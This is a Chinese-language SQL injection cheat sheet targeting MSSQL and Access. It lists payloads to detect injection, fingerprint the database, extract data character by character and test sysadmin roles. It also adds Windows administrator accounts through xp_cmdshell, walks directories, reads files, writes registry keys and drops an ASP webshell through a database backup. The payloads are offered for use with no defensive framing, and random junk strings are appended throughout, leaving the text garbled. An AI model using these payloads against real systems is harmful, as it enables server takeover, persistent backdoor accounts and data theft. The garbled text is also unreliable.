1.判断是否有注入;and 1=1 ;and 1=2 rTjV/~
2.初步判断是否是mssql ;and user>0 VZ8HnNAbX
Ni[2 p
3.注入参数是字符'and [查询条件] and ''=' s9Aq-N
YS5 Pt)?
4.搜索时没过滤参数的'and [查询条件] and '%25'=' YQ}bG{ V
Iz\IQa
5.判断数据库系统 PO[
AP%;
)0JXUC e
;and (select count(*) from sysobjects)>0 mssql dF%sD|<)
%Ot^G%34
;and (select count(*) from msysobjects)>0 access 438+zU
9RoN,e8!
-\!"Kz/
+;Jb)8
6.猜数据库 ;and (select Count(*) from [数据库名])>0 V{[vIt*
w|>O!]K]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 fhAK^@h
\{ G1d"n
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 rSVU|O3m;
9+\3E4K
9.(1)猜字段的ascii值(access) I2=?H<
r9@Q="J_)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8L<GAe
zl j%v/9
(2)猜字段的ascii值(mssql) it~>)_7*P
^L(}c O
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;$\d^i{N
/CAi%UH,F
10.测试权限结构(mssql) S&@uY#_(*T
1dF=BR8
Zv*Z^; X9
MKYXYR
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ~',<7eW
~E=.*: 5(
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {Ah\-{]
r~uWr'}a}
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Y.qlY3iBp
yU~OfwQ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3cNF^?\=
P2h}3%cJq
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o5\nqw^
v(\kSlJ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
^t=Hl
c"3 a,&
;and 1=(select IS_MEMBER('db_owner'));-- fRe$}KX
[*O#6Xu
qsUlfv9L6
UJ_E&7,L
11.添加mssql和系统的帐户 HKk;oG
eGS1% [
;exec master.dbo.sp_addlogin username;-- MH`H[2<\!,
;exec master.dbo.sp_password null,username,password;-- 0SXWt? }
hgCeU+ H
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- XU Hu=2F
(DCC4%w"
;exec master.dbo.xp_cmdshell 'net user username password ?3"bu$@8
P"%i 4-S
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- "]ow1{
-So&?3,\A@
;exec master.dbo.xp_cmdshell 'net user username password /add';-- '~ 3a(1@8
Z_Ox '
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- O1Gd_wDC/i
SB1\SNB
@O<kjR<b
xr)Rx{)3h
12.(1)遍历目录 K4i#:7r'b
zlmb_akJ
;create table dirs(paths varchar(100), id int) ANy=f-V
SxYX`NQ
;insert dirs exec master.dbo.xp_dirtree 'c:\' +! 6C^G
Y B@\"|}
;and (select top 1 paths from dirs)>0 `5;O|qRq
#e0tT+
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 93yJAao9
+.Kmpw4
q79)nhC F
Z<Rz}8s
(2)遍历目录 xQC.ap
ysfR@ sH7
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- W
xyQA:3s
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ti)foam
<`sVu
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ul+
+h4N
wxARD3%
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 gOZ$rv^g
9)Y]05us
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }> k9]Y
L=Q-r[
z]> 0A
'2a }1?
13.mssql中的存储过程 t$8f:*6(*
_cx}e!BK#
xp_regenumvalues 注册表根键, 子键 '+NmHu:q
v9Oyboh(y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VY$hg
;8;nY6Ie
xp_regread 根键,子键,键值名 G6xdGUM
EN()dCQHr
;exec xp_regread eP-q[U?$n
o(w1!spA
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Y'-BKZv!
6TxZ^&=
xp_regwrite 根键,子键, 值名, 值类型, 值 Z mF}pa,gd
b7{)B?n
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ="RDcf/
Dg/&m*Yl
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L@w|2
*KF:
xp_regdeletevalue 根键,子键,值名 oYnA 3
O B8fFd
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 'MPt K
8zGe5Dn9
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 'i_od|19~h
"/6(
X%xX3e'
B5u06O
14.mssql的backup创建webshell =M)>w4-
L4'@f
use model "[(_C&Ot4
)h,+>U@
create table cmd(str image); zTBr<:
<DiD8")4
insert into cmd(str) values (''); N
VzR 2
ZrnZ7,!@
backup database model to disk='c:\l.asp'; v
I@Wuu:
R>Fie5?
@"-<m|lM
%xf6U>T
15.mssql内置函数 4s~YqP{K
IP$^)t[
;and (select @@version)>0 获得Windows的版本号 ~" B0P>7
qr$=oCqa
;and user_name()='dbo' 判断当前系统的连接用户是不是sa s
d>&6R^
kg7oH.0E
;and (select user_name())>0 爆当前系统的连接用户 g/W<;o<v(I
cUaLv1:HI
;and (select db_name())>0 得到当前连接的数据库 R~CQ=KQ.
eCMcr !.
Gk*Mx6|N
1?`,h6d*=
16.简洁的webshell q*TH),)J
\y{Bnp5h
use model 9M:wUYHT
T.GY
create table cmd(str image); M5HKRLt
*f$mSI=
insert into cmd(str) values (''); f
GE+DjeA
/K:M
,q
backup database model to disk='g:\wwwtest\l.asp';